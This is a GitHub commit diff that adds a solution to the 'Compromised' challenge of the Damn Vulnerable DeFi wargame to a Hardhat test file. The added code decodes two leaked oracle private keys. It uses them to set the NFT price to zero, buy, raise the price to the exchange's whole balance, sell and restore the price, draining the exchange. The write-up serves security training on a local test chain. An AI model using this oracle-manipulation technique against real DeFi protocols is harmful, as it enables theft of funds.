Skip to content

Commit

Permalink
theredguild#7 - compromised completed
Browse files Browse the repository at this point in the history
  • Loading branch information
jonatascm committed Feb 21, 2022
1 parent be382ee commit 62bf092
Showing 1 changed file with 132 additions and 85 deletions.
217 changes: 132 additions & 85 deletions test/compromised/compromised.challenge.js
Original file line number Diff line number Diff line change
@@ -1,89 +1,136 @@
const { expect } = require('chai');
const { ethers } = require('hardhat');

describe('Compromised challenge', function () {

const sources = [
'0xA73209FB1a42495120166736362A1DfA9F95A105',
'0xe92401A4d3af5E446d93D11EEc806b1462b39D15',
'0x81A5D6E50C214044bE44cA0CB057fe119097850c'
];

let deployer, attacker;
const EXCHANGE_INITIAL_ETH_BALANCE = ethers.utils.parseEther('9990');
const INITIAL_NFT_PRICE = ethers.utils.parseEther('999');

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker] = await ethers.getSigners();

const ExchangeFactory = await ethers.getContractFactory('Exchange', deployer);
const DamnValuableNFTFactory = await ethers.getContractFactory('DamnValuableNFT', deployer);
const TrustfulOracleFactory = await ethers.getContractFactory('TrustfulOracle', deployer);
const TrustfulOracleInitializerFactory = await ethers.getContractFactory('TrustfulOracleInitializer', deployer);

// Initialize balance of the trusted source addresses
for (let i = 0; i < sources.length; i++) {
await ethers.provider.send("hardhat_setBalance", [
sources[i],
"0x1bc16d674ec80000", // 2 ETH
]);
expect(
await ethers.provider.getBalance(sources[i])
).to.equal(ethers.utils.parseEther('2'));
}

// Attacker starts with 0.1 ETH in balance
await ethers.provider.send("hardhat_setBalance", [
attacker.address,
"0x16345785d8a0000", // 0.1 ETH
]);
expect(
await ethers.provider.getBalance(attacker.address)
).to.equal(ethers.utils.parseEther('0.1'));

// Deploy the oracle and setup the trusted sources with initial prices
this.oracle = await TrustfulOracleFactory.attach(
await (await TrustfulOracleInitializerFactory.deploy(
sources,
["DVNFT", "DVNFT", "DVNFT"],
[INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE]
)).oracle()
);

// Deploy the exchange and get the associated ERC721 token
this.exchange = await ExchangeFactory.deploy(
this.oracle.address,
{ value: EXCHANGE_INITIAL_ETH_BALANCE }
);
this.nftToken = await DamnValuableNFTFactory.attach(await this.exchange.token());
});
const { expect } = require("chai");
const { ethers } = require("hardhat");

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
});
describe("Compromised challenge", function () {
const sources = [
"0xA73209FB1a42495120166736362A1DfA9F95A105",
"0xe92401A4d3af5E446d93D11EEc806b1462b39D15",
"0x81A5D6E50C214044bE44cA0CB057fe119097850c",
];

//Hex -> Base64 -> ASCII
//4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
const oracleKey0 =
"0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";

//4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
const oracleKey1 =
"0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";

let deployer, attacker;
const EXCHANGE_INITIAL_ETH_BALANCE = ethers.utils.parseEther("9990");
const INITIAL_NFT_PRICE = ethers.utils.parseEther("999");

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker] = await ethers.getSigners();

after(async function () {
/** SUCCESS CONDITIONS */

// Exchange must have lost all ETH
expect(
await ethers.provider.getBalance(this.exchange.address)
).to.be.eq('0');

// Attacker's ETH balance must have significantly increased
expect(
await ethers.provider.getBalance(attacker.address)
).to.be.gt(EXCHANGE_INITIAL_ETH_BALANCE);

// Attacker must not own any NFT
expect(
await this.nftToken.balanceOf(attacker.address)
).to.be.eq('0');

// NFT price shouldn't have changed
expect(
await this.oracle.getMedianPrice("DVNFT")
).to.eq(INITIAL_NFT_PRICE);
const ExchangeFactory = await ethers.getContractFactory(
"Exchange",
deployer
);
const DamnValuableNFTFactory = await ethers.getContractFactory(
"DamnValuableNFT",
deployer
);
const TrustfulOracleFactory = await ethers.getContractFactory(
"TrustfulOracle",
deployer
);
const TrustfulOracleInitializerFactory = await ethers.getContractFactory(
"TrustfulOracleInitializer",
deployer
);

// Initialize balance of the trusted source addresses
for (let i = 0; i < sources.length; i++) {
await ethers.provider.send("hardhat_setBalance", [
sources[i],
"0x1bc16d674ec80000", // 2 ETH
]);
expect(await ethers.provider.getBalance(sources[i])).to.equal(
ethers.utils.parseEther("2")
);
}

// Attacker starts with 0.1 ETH in balance
await ethers.provider.send("hardhat_setBalance", [
attacker.address,
"0x16345785d8a0000", // 0.1 ETH
]);
expect(await ethers.provider.getBalance(attacker.address)).to.equal(
ethers.utils.parseEther("0.1")
);

// Deploy the oracle and setup the trusted sources with initial prices
this.oracle = await TrustfulOracleFactory.attach(
await (
await TrustfulOracleInitializerFactory.deploy(
sources,
["DVNFT", "DVNFT", "DVNFT"],
[INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE]
)
).oracle()
);

// Deploy the exchange and get the associated ERC721 token
this.exchange = await ExchangeFactory.deploy(this.oracle.address, {
value: EXCHANGE_INITIAL_ETH_BALANCE,
});
this.nftToken = await DamnValuableNFTFactory.attach(
await this.exchange.token()
);
});

it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
/**
* The main api response contains the private keys of the oracle, so the main ideia is to change
* the nft price to 0, buy one NFT, then change the price to exchange balance and sell the nft
* And to pass all the test we need to change again to initial price
*/

const oracle0 = new ethers.Wallet(oracleKey0, ethers.provider);
const oracle1 = new ethers.Wallet(oracleKey1, ethers.provider);

await this.oracle.connect(oracle0).postPrice("DVNFT", 0);
await this.oracle.connect(oracle1).postPrice("DVNFT", 0);

await this.exchange
.connect(attacker)
.buyOne({ value: ethers.utils.parseEther("0.01") });

await this.oracle
.connect(oracle0)
.postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.oracle
.connect(oracle1)
.postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);

await this.nftToken.connect(attacker).approve(this.exchange.address, 0);
await this.exchange.connect(attacker).sellOne(0);

await this.oracle.connect(oracle0).postPrice("DVNFT", INITIAL_NFT_PRICE);
await this.oracle.connect(oracle1).postPrice("DVNFT", INITIAL_NFT_PRICE);
});

after(async function () {
/** SUCCESS CONDITIONS */

// Exchange must have lost all ETH
expect(await ethers.provider.getBalance(this.exchange.address)).to.be.eq(
"0"
);

// Attacker's ETH balance must have significantly increased
expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(
EXCHANGE_INITIAL_ETH_BALANCE
);

// Attacker must not own any NFT
expect(await this.nftToken.balanceOf(attacker.address)).to.be.eq("0");

// NFT price shouldn't have changed
expect(await this.oracle.getMedianPrice("DVNFT")).to.eq(INITIAL_NFT_PRICE);
});
});

0 comments on commit 62bf092

Please sign in to comment.